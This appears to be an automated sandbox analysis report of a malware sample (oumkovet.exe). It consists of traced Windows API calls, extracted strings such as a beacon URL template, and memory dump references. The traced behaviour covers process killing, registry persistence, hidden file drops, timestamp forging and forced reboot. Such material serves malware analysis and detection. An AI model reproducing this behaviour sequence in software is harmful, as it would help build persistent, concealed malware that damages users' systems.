Part of subcall function 00401D38: InternetCloseHandle.WININET(00000000), ref: 00401D51

Strings

urlinj_creat, xrefs: 00402473
12@, xrefs: 00402487, 00402498
http://%s/d/rpt?%s, xrefs: 00402499

Memory Dump Source

Source File: 00000000.00000002.2037696728.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2037684404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037734587.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037748785.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037762972.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Internet$Option$CloseHandle$Openclosesockethtonslstrcpylstrlensocketwsprintf
String ID: 12@$http://%s/d/rpt?%s$urlinj_creat
API String ID: 2941392982-2858504077
Opcode ID: f9e1d899c8cb631e133cdf2d4e1ab3e6813410de5d1cdf2efe6631ca7b0b0578
Instruction ID: 88ec9d7906897b8114724b1b79faff9a7f04a0d329b8cb3f5de5d04a505f717c
Opcode Fuzzy Hash: f9e1d899c8cb631e133cdf2d4e1ab3e6813410de5d1cdf2efe6631ca7b0b0578
Instruction Fuzzy Hash: ECE06DB160525017E310B669AC86BDB268C9B44388F50453EBB49B32C6E9BDAC4086AA

Analysis Process: oumkovet.exePID: 3580, Parent PID: 2576COMMON

Executed Functions

Function 00403A19 Relevance: 503.5, APIs: 282, Strings: 4, Instructions: 2982registrystringfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00403A27
GetVersionExA.KERNEL32(004120D0), ref: 00403A43
LoadLibraryA.KERNEL32(00407007), ref: 00403A74
GetProcAddress.KERNEL32(00000000,00407014), ref: 00403AA2
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403ACC
GetCommandLineA.KERNEL32(00000104), ref: 00403AD4
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00403AF2
GetCurrentProcessId.KERNEL32 ref: 00403B09
Process32First.KERNEL32(?,?), ref: 00403B32
OpenProcess.KERNEL32(00100000,00000000,?), ref: 00403B6A
CloseHandle.KERNEL32(?,?,?), ref: 00403B7B
Process32Next.KERNEL32(?,?), ref: 00403B94
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00403BAC
CloseHandle.KERNEL32(00000000,000000FF), ref: 00403BB5
GetStartupInfoA.KERNEL32(?), ref: 00403BC2
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00403BE9
ExitProcess.KERNEL32(00000000), ref: 00403BF6
GetProcAddress.KERNEL32(00000000,0040702B), ref: 00403C23
LoadLibraryA.KERNEL32(0040703E,?,?,?,?,?,?,?,00000104), ref: 00403C86
GetProcAddress.KERNEL32(00000000,00407048), ref: 00403C96
GetProcAddress.KERNEL32(00000000,00407060), ref: 00403CA6
GetProcAddress.KERNEL32(00000000,00407075), ref: 00403CB6
GetProcAddress.KERNEL32(00000000,00407086), ref: 00403CC6
GetProcAddress.KERNEL32(00000000,00407099), ref: 00403D13
GetProcAddress.KERNEL32(00000000,004070AC), ref: 00403D2E
CloseHandle.KERNEL32(?), ref: 00403E2B
GetProcAddress.KERNEL32(00000000,004070C4), ref: 00403E50
GetCurrentProcessId.KERNEL32(?,?,?,?,00000104), ref: 00403E7F
WSAStartup.WS2_32(00000002,?), ref: 00403E97
GetTickCount.KERNEL32 ref: 00403E9F
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00000104), ref: 00403EA6
GetCurrentThreadId.KERNEL32 ref: 00403EAD
LoadLibraryA.KERNEL32(004070D7,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00403EDA
GetProcAddress.KERNEL32(00000000,004070E4), ref: 00403F01
LoadLibraryA.KERNEL32(004070F8), ref: 00403F34
GetProcAddress.KERNEL32(00000000,00407105), ref: 00403F5B
LoadLibraryA.KERNEL32(004071C0), ref: 00403FD9
GetProcAddress.KERNEL32(00000000,004071CC), ref: 00404042
GetProcAddress.KERNEL32(00000000,004071DA), ref: 00404052
GetProcAddress.KERNEL32(00000000,004071EB), ref: 00404062
GetProcAddress.KERNEL32(00000000,004071FC), ref: 00404072
GetProcAddress.KERNEL32(00000000,0040720F), ref: 00404082
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404347
SetFilePointer.KERNEL32(00000000,000000F0,00000000,00000002,00000000), ref: 00404366
ReadFile.KERNEL32(?,004120C0,00000010,?,00000000,?,?,00000002,00000000), ref: 00404386
CloseHandle.KERNEL32(?,?,004120C0,00000010,?,00000000,?,?,00000002,00000000), ref: 00404392
lstrcmpiA.KERNEL32(00000000,?), ref: 0040445F
wsprintfA.USER32 ref: 004044BC
CreateMutexA.KERNEL32(0040F4FC,00000001,0040F48A,?,?,?,?,?,?,?,?,00000000), ref: 004044D0
GetLastError.KERNEL32(0040F48A,?,?,?,?,0040F48A,?,?,?,?,?,?,?,?,00000000), ref: 004044E4
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00404506
RegDeleteValueA.ADVAPI32(00000000,0040751C,?,?,?,?,?,?,0040F48A,?,?,?,?,0040F48A), ref: 00404532
RegCloseKey.ADVAPI32(?,0040751C,?,?,?,?,?,?,0040F48A,?,?,?,?,0040F48A), ref: 0040453E
GetCurrentProcessId.KERNEL32(?,?,?,?,0040F48A,?,?,?,?,0040F48A), ref: 0040456E
Process32First.KERNEL32(00000000,?), ref: 0040458C
lstrcmpiA.KERNEL32(00000000,?), ref: 004045C1
OpenProcess.KERNEL32(00100201,00000000,?), ref: 004045DE
Process32Next.KERNEL32(00000000,?), ref: 00404603
CloseHandle.KERNEL32(00000000), ref: 00404613
SetPriorityClass.KERNEL32(?,00000040), ref: 00404633
TerminateProcess.KERNEL32(?,00000000), ref: 00404658
WaitForSingleObject.KERNEL32(?,00001388), ref: 0040468F
CloseHandle.KERNEL32(?,00001388), ref: 00404698
SetFileAttributesA.KERNEL32(?,00000080), ref: 004046BC
DeleteFileA.KERNEL32(?,00000080), ref: 004046C5
RegOpenKeyExA.ADVAPI32(80000001,0040F4A0,00000000,00020019,?,?,?,?,?,?,?,?,0040F48A), ref: 004046F4
RegCreateKeyExA.ADVAPI32(80000002,0040F4A0,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000), ref: 0040472B
RegQueryValueExA.ADVAPI32(?,0040F4EE,00000000,00000000,00412170,?,?,?,0040F4FC,?,00000000), ref: 00404766
RegSetValueExA.ADVAPI32(?,0040F4EE,00000000,00000003,00412170,00000012,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00404790
RegCloseKey.ADVAPI32(?,00000012,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 004047A1
RegDeleteKeyA.ADVAPI32(80000002,0040F4A0), ref: 004047BA
RegCloseKey.ADVAPI32(?,?,?,?,0040F4FC,?,00000000), ref: 004047CC
ExitProcess.KERNEL32(00000000,?,?,?,0040F48A,?,?,?,?,0040F48A), ref: 004047E2
CloseHandle.KERNEL32(?,?,?,?,0040F48A,?,?,?,?,0040F48A), ref: 00404804
RegCreateKeyExA.ADVAPI32(80000002,0040F4A0,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000,?,?,?,0040F48A), ref: 0040484E
RegCreateKeyExA.ADVAPI32(80000001,0040F4A0,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000), ref: 0040487A
RegQueryValueExA.ADVAPI32(?,0040F508,00000000,00000000,004120C4,?,?,?,0040F4FC,?,00000000,?,?,?,0040F48A), ref: 004048B1
RegSetValueExA.ADVAPI32(?,0040F508,00000000,00000003,004120C4,0000000C,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 004048D7
RegCloseKey.ADVAPI32(?,?,?,?,004120C4,?,?,?,0040F4FC,?,00000000,?,?,?,0040F48A), ref: 004048E9
ExpandEnvironmentStringsA.KERNEL32(00407347,?,00000104,?,?,?,?,?,?,?,004120C4,?,?,?,0040F4FC,?), ref: 00404906
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404925
GetFileTime.KERNEL32(00000000,?,?,?,00000000,?,?,?,?,?,?,?,?,?,004120C4,?), ref: 00404954
CloseHandle.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,004120C4,?), ref: 00404963
GetSystemDirectoryA.KERNEL32(?,00000100), ref: 00404998
lstrcatA.KERNEL32(?,00411030,?,00000100,?,?,00000104,?,?,?,?,?,?,?,004120C4,?), ref: 004049A9
lstrcatA.KERNEL32(00000000,?,?,00411030,?,00000100,?,?,00000104), ref: 004049B0
lstrcpyA.KERNEL32(?,00407351,?,?,?,?,?,?,00000104), ref: 004049E6
lstrcatA.KERNEL32(00000000,?,?,00407351,?,?,?,?,?,?,00000104), ref: 004049ED
ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,?,?,00407351,?,?,?,?,?,?,00000104), ref: 004049FC
lstrcpyA.KERNEL32(?,0040736E,?,?,?,?,?,?,?,?,?,00407351), ref: 00404A2B
lstrcatA.KERNEL32(00000000,?,?,0040736E,?,?,?,?,?,?,?,?,?,00407351), ref: 00404A32
ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,?,?,0040736E,?,?,?,?,?,?,?,?,?,00407351), ref: 00404A48
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000003,00000000,00000000,?,?,00000100,?,?,00000104), ref: 00404A8F
SetFilePointer.KERNEL32(00000000,000000F0,00000000,00000002,00000000,?,?,00000100,?,?,00000104), ref: 00404AA9
WriteFile.KERNEL32(00000000,004120C0,00000004,?,00000000,?,?,00000002,00000000,?,?,00000100,?,?,00000104), ref: 00404AC3
CloseHandle.KERNEL32(00000000,00000000,004120C0,00000004,?,00000000,?,?,00000002,00000000,?,?,00000100,?,?,00000104), ref: 00404AC9
CreateFileA.KERNEL32(?,80000100,00000001,00000000,00000003,00000000,00000000,?,?,00000100,?,?,00000104), ref: 00404AF2
SetFileTime.KERNEL32(00000000,?,?,?,00000000,?,?,00000100,?,?,00000104), ref: 00404B1E
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,?,00000100,?,?,00000104), ref: 00404B27
SetFileAttributesA.KERNEL32(?,00000021,?,?,?,00000100,?,?,00000104), ref: 00404B3C
CloseHandle.KERNEL32(?,00000021,?,?,?,00000100,?,?,00000104), ref: 00404B48
GetStartupInfoA.KERNEL32(?), ref: 00404B55
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00404B75
ExitProcess.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,00000100,?,?,00000104), ref: 00404B7F
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00000104), ref: 00404BA5
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,?,?,?,?,?,?,004120C4,?), ref: 00404BC3
ReadFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000104), ref: 00404BF8
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000104), ref: 00404C04
CreateThread.KERNEL32(00000000,00001000,00401379,?,00000000,?), ref: 00404C3F
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,00000104,?,?,?,?,?,?,?,004120C4,?), ref: 00404C48
RegCreateKeyA.ADVAPI32(80000002,0040F520,?), ref: 00404C95
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00404CB5
lstrcatA.KERNEL32(?,00411030,?,00000104,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404CC6
lstrcatA.KERNEL32(00000000,?,?,00411030,?,00000104), ref: 00404CCD
CreateMutexA.KERNEL32(00000000,00000000,00410180,?,?,00000104), ref: 00404CF3
WaitForSingleObject.KERNEL32(00000000,00002710,?,?,?,?,?,00000104), ref: 00404D0F
CloseHandle.KERNEL32(?,00002710,?,?,?,?,?,00000104), ref: 00404D1E
Sleep.KERNEL32(000007D0,?,?,?,00410180,?,?,00000104), ref: 00404D30
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,?,?,?,00410180,?,?,00000104), ref: 00404D48
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00404D63
WriteFile.KERNEL32(00000000,0040F580,00000C00,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00404D9D
lstrlenA.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00404E01
lstrcpyA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404E3B
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00404E74
SetFileTime.KERNEL32(?,?,?,?), ref: 00404EA9
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 00404EB8
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00404ED7
RegDeleteValueA.ADVAPI32(?,00407379,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00404EEB
lstrlenA.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404F03
RegSetValueExA.ADVAPI32(?,00407379,00000000,00000001,?,00000001,?,?,?,?,?,?,?,?,?,00000000), ref: 00404F1E
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00000080,00000000), ref: 00404F42
GetComputerNameA.KERNEL32(?,?), ref: 00404F72
lstrcpyA.KERNEL32(?,QlC5hT0yHn63XEm5LqJ2OxSkGj2v,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404F98
lstrcpyA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404FB5
lstrcatA.KERNEL32(?,?), ref: 00404FD2
lstrlenA.KERNEL32(?), ref: 00404FDE
wsprintfA.USER32 ref: 00405088
lstrcpyA.KERNEL32(?,004101C0), ref: 004050C3
lstrcatA.KERNEL32(00000000,00412290,?,004101C0), ref: 004050CE
RegCreateKeyA.ADVAPI32(80000002,?,?), ref: 004050E4
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040510D
lstrcatA.KERNEL32(?,00411030), ref: 0040511E
lstrcatA.KERNEL32(00000000,?,?,00411030), ref: 00405125
CreateMutexA.KERNEL32(00000000,00000000,00410A00,?,?,00411030), ref: 0040514B
WaitForSingleObject.KERNEL32(00000000,00002710,?,?,?,?,?,00411030), ref: 00405167
CloseHandle.KERNEL32(?,00002710,?,?,?,?,?,00411030), ref: 00405176
Sleep.KERNEL32(000007D0,?,?,?,00410A00,?,?,00411030), ref: 00405188
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,?,?,?,00410A00,?,?,00411030), ref: 004051A0
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 004051BB
WriteFile.KERNEL32(00000000,00410200,00000800,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 004051F5
lstrlenA.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 0040525A
lstrcpyA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405291
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 004052CB
SetFileTime.KERNEL32(?,?,?,?), ref: 00405300
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 0040530F
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 0040532E
RegSetValueExA.ADVAPI32(?,00407382,00000000,00000004,00000001,00000004,?,?,?,?,?,00000000,00000000), ref: 0040536A
lstrlenA.KERNEL32(?,00000004,?,?,?,?,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00405373
RegSetValueExA.ADVAPI32(?,0040738E,00000000,00000001,?,00000001,?,?,?,?,?,?,?,?,?,00000000), ref: 0040538E
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00000080,00000000), ref: 004053B2
RegDeleteKeyA.ADVAPI32(80000001,?), ref: 004053C7
RegDeleteValueA.ADVAPI32(00000000,0040751C), ref: 004053F3
RegCloseKey.ADVAPI32(?,0040751C), ref: 00405402
lstrcmpiA.KERNEL32(?), ref: 00405445
lstrcmpiA.KERNEL32(?,?), ref: 00405464
SetFileAttributesA.KERNEL32(?,00000080), ref: 00405480
DeleteFileA.KERNEL32(?,00000080), ref: 00405489
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004054B0
GetFileSize.KERNEL32(00000000,00000000), ref: 004054CE
CloseHandle.KERNEL32(?), ref: 004054ED
ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 0040551E
lstrcpyA.KERNEL32(?), ref: 004055C0
lstrcpyA.KERNEL32(?,?,?), ref: 004055D5
ExpandEnvironmentStringsA.KERNEL32(0040736E,?,00000104,?,?,?), ref: 00405610
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,00000104,?,?,?), ref: 0040562C
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000104,?,?,?), ref: 0040564B
GetTempPathA.KERNEL32(00000104,?,?,?,00000104,?,?,?), ref: 00405673
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,?,?,?,?,00000104,?,?,?), ref: 00405693
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,00000104,?,?,?), ref: 004056B6
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000104), ref: 004056EA
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000104), ref: 004056F6
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00000000), ref: 00405715
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00405760
lstrcatA.KERNEL32(?,00411030,?,00000104,?,?,?,?,?,?,00000104,?,?,?), ref: 00405771
lstrcatA.KERNEL32(00000000,?,?,00411030,?,00000104,?,?,?,?,?,?,00000104,?,?,?), ref: 00405778
SetFileAttributesA.KERNEL32(00000000,00000080,00000000,?,?,00411030,?,00000104,?,?,?,?,?,?,00000104), ref: 00405783
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00411030,?,00000104), ref: 0040579E
WriteFile.KERNEL32(?,00407C80,00001400,?,00000000,?,?,?,?,?,?,00000080,00000000,?,00000104,?), ref: 004057DC
SetFileTime.KERNEL32(?,?,?,?), ref: 0040580A
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00405819
GetLastError.KERNEL32(?,?,?,00000080,00000000,00411030,?,00000104,?,?,?,?,?,?,00000104), ref: 0040586E
ExpandEnvironmentStringsA.KERNEL32(0040736E,?,00000104,?,?,?,?,00000080,00000000,00411030,?,00000104), ref: 004058AC
lstrcatA.KERNEL32(?,00000104,?,?,?,?,00000080,00000000,00411030,?,00000104), ref: 004058BB
SetFileAttributesA.KERNEL32(00000000,00000080,?,00000104,?,?,?,?,00000080,00000000,00411030,?,00000104), ref: 004058C6
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,00000104,?,?,?,?,00000080), ref: 004058E1
GetLastError.KERNEL32(?,?,?,00000080,00000000,?,?,?,00000104,?,?,?,?,00000080,00000000,00411030), ref: 004058FD
GetTempPathA.KERNEL32(00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 0040591B
lstrcatA.KERNEL32(?,00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405927
SetFileAttributesA.KERNEL32(00000000,00000080,?,00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405932
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000104,?,?,?,?,?,?,00000080), ref: 0040594D
GetLastError.KERNEL32(?,?,?,00000080,00000000,?,00000104,?,?,?,?,?,?,00000080,00000000), ref: 00405969
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040599B
ExpandEnvironmentStringsA.KERNEL32(0040736E,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000080,00000000), ref: 004059C0
lstrcatA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000080,00000000), ref: 004059CF
SetFileAttributesA.KERNEL32(00000000,00000080,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000080), ref: 004059DA
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,00000104), ref: 004059F5
WriteFile.KERNEL32(00000000,00409080,00006400,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00405A27
CloseHandle.KERNEL32(?,00000000,00409080,00006400,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00405A33
GetTempPathA.KERNEL32(00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405A50
lstrcatA.KERNEL32(?,00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405A5C
SetFileAttributesA.KERNEL32(00000000,00000080,?,00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405A67
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000104,?,?,?,?,?,?,00000080), ref: 00405A82
WriteFile.KERNEL32(00000000,00409080,00006400,?,00000000,?,?,?,?,?,?,00000080,00000000,?,00000104,?), ref: 00405AB4
CloseHandle.KERNEL32(?,00000000,00409080,00006400,?,00000000,?,?,?,?,?,?,00000080,00000000,?,00000104), ref: 00405AC0
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00006400,?,00000000), ref: 00405AF8
RegOpenKeyExA.ADVAPI32(80000002,00410A40,00000000,00020006,?,?,?,?,?,?,?,00000080,00000000,?,00000104,?), ref: 00405B2E
RegOpenKeyExA.ADVAPI32(80000001,00410A40,00000000,00020006,?), ref: 00405B4F
lstrlenA.KERNEL32(?,?,?,?,?,00020006,?,?,?,?,?,?,?,00000080,00000000), ref: 00405B79
RegSetValueExA.ADVAPI32(?,00000000,00000001,?,00000001,?,?,?,?,?,?,?,00020006,?), ref: 00405B95
RegCloseKey.ADVAPI32(?,?,?,?,?,00020006,?,?,?,?,?,?,?,00000080,00000000), ref: 00405BA7
RegCreateKeyA.ADVAPI32(80000002,00410A80,?), ref: 00405BF2
RegSetValueExA.ADVAPI32(?,00410AB5,00000000,00000004,?,00000004), ref: 00405C1B
RegCloseKey.ADVAPI32(?,00000004,?,?,?,?,?,?,?,?,?,?,?,00020006,?), ref: 00405C2A
RegOpenKeyExA.ADVAPI32(80000002,00410AE0,00000000,00020006,?,?,?,?,?), ref: 00405C9C
RegSetValueExA.ADVAPI32(?,00410B03,00000000,00000004,?,00000004,?,?,?,?,?,?,?,?,?), ref: 00405CC5
RegSetValueExA.ADVAPI32(?,00410B15,00000000,00000004,?,00000004,?,00410B03,00000000,00000004,?,00000004), ref: 00405CDD
RegSetValueExA.ADVAPI32(?,00410B2C,00000000,00000004,?,00000004,?,00410B15,00000000,00000004,?,00000004,?,00410B03,00000000,00000004), ref: 00405CF5
RegSetValueExA.ADVAPI32(?,00410B42,00000000,00000004,?,00000004,?,00410B2C,00000000,00000004,?,00000004,?,00410B15,00000000,00000004), ref: 00405D0D
RegCloseKey.ADVAPI32(?,00000004,?,?,?,?,?,?,?,?,?), ref: 00405D1C
RegOpenKeyExA.ADVAPI32(80000002,00410B60,00000000,0002001F,?,?,?,?,?,00020006,?,?,?,?,?), ref: 00405D52
RegDeleteValueA.ADVAPI32(?,00000000,?,?,?,0002001F,?,?,?,?,?,00020006,?), ref: 00405DCE
RegEnumValueA.ADVAPI32(?,?,00000000,?,00000000,?,00004000,00004000), ref: 00405E0A
wsprintfA.USER32 ref: 00405E24
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000000,00000001,?,?,?,?,0002001F,?), ref: 00405E3B
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,0002001F,?), ref: 00405E54
CreateThread.KERNEL32(00000000,00010000,00402818,00000002,00000000,?), ref: 00405E77
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00020006,?), ref: 00405E80
SetFileAttributesA.KERNEL32(?,00000021), ref: 00405F00
RegCreateKeyA.ADVAPI32(80000002,?,?), ref: 00405F1D
RegSetValueExA.ADVAPI32(?,00407382,00000000,00000004,00000001,00000004), ref: 00405F5D
lstrlenA.KERNEL32(?,00000004), ref: 00405F66
RegSetValueExA.ADVAPI32(?,0040738E,00000000,00000001,?,00000001), ref: 00405F81
RegCloseKey.ADVAPI32(?,00000001,?,00000001), ref: 00405F90
SetFileAttributesA.KERNEL32(?,00000021,?,?,?,?,?,?,?,00000001), ref: 00405FAC
RegCreateKeyA.ADVAPI32(80000002,0040F520,?), ref: 00405FC6
lstrlenA.KERNEL32(?), ref: 00405FE6
RegSetValueExA.ADVAPI32(?,00407379,00000000,00000001,?,00000001), ref: 00406001
RegCloseKey.ADVAPI32(?,00000001,?,00000001), ref: 00406010
RegOpenKeyExA.ADVAPI32(80000002,00410A40,00000000,00020006,?), ref: 00406039
RegOpenKeyExA.ADVAPI32(80000001,00410A40,00000000,00020006,?), ref: 0040605A
lstrlenA.KERNEL32(?,?,?,?,?,00020006,?), ref: 00406071
RegSetValueExA.ADVAPI32(?,00000000,00000001,?,00000001,?,?,?,?,?,?,?,00020006,?), ref: 0040608D
RegCloseKey.ADVAPI32(?,?,?,00000001,?,?,?,?,?,?,?,00020006,?), ref: 0040609C
RegCreateKeyExA.ADVAPI32(80000002,004074E0,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000), ref: 004060D6
RegCreateKeyExA.ADVAPI32(80000001,004074E0,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000), ref: 00406102
RegSetValueExA.ADVAPI32(?,0040751C,00000000,00000003,?,0000022A,?,?,0040F4FC,?,00000000), ref: 0040612E
RegCloseKey.ADVAPI32(?,0000022A,?,?,0040F4FC,?,00000000,?,?,?,?,?,?,?,?,00000001), ref: 0040613D
SetFileAttributesA.KERNEL32(?,00000021,?,?,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00406152
RegCreateKeyA.ADVAPI32(80000002,00407240,?), ref: 0040617C
lstrlenA.KERNEL32(?), ref: 0040619C
RegSetValueExA.ADVAPI32(?,00407588,00000000,00000001,?,00000001), ref: 004061B7
RegSetValueExA.ADVAPI32(?,00407590,00000000,00000001,00407590,00000008,?,00407588,00000000,00000001,?,00000001), ref: 004061D3
RegCloseKey.ADVAPI32(?,00000001,?,00000001), ref: 004061E2
RegCreateKeyA.ADVAPI32(80000000,004075A0,?), ref: 00406204
lstrlenA.KERNEL32(?), ref: 0040621B
RegSetValueExA.ADVAPI32(?,00000000,00000000,00000001,?,00000001), ref: 00406233
RegSetValueExA.ADVAPI32(?,00407651,00000000,00000001,00407660,00000005,?,00000000,00000000,00000001,?,00000001), ref: 0040624F
RegCloseKey.ADVAPI32(?,00000001,?,00000001), ref: 0040625E
RegCreateKeyA.ADVAPI32(80000002,004075E0,?), ref: 00406271
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 00406287
SetFileAttributesA.KERNEL32(?,00000021,?,?,?,?,?,?,?,00000001), ref: 0040629C
Sleep.KERNEL32(000003E8,00000021,?,?,?,?,?,?,?,00000001), ref: 004062A9
RegCreateKeyExA.ADVAPI32(80000002,004074E0,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 004062DF
RegQueryValueExA.ADVAPI32(?,00407527,00000000,00000000,?,?,?,?,00000000,?,00000000), ref: 0040631D
RegSetValueExA.ADVAPI32(?,00407527,00000000,00000004,?,00000004,?,?,?,?,?,?,00000000,?,00000000), ref: 00406356
RegDeleteValueA.ADVAPI32(?,00407527,?,?,?,?,?,?,00000000,?,00000000), ref: 0040636F
Sleep.KERNEL32(00001388,00407527,?,?,?,?,?,?,00000000,?,00000000), ref: 0040637C
ExitWindowsEx.USER32(00000006,00000000), ref: 004063B8
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 004063CA
CloseHandle.KERNEL32(?), ref: 004063E1
RegCloseKey.ADVAPI32(?,?,?,?,00412170,?,?,?,0040F4FC,?,00000000), ref: 004063F8
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,0040F48A), ref: 00406409

Strings

QlC5hT0yHn63XEm5LqJ2OxSkGj2v, xrefs: 00404F8B
tmp, xrefs: 00405626, 0040568D
f, xrefs: 00404DAE
%02X, xrefs: 004044B2

Memory Dump Source

Source File: 00000002.00000002.4502534095.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4502505774.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502564033.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502592783.0000000000408000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502626039.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4502658209.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

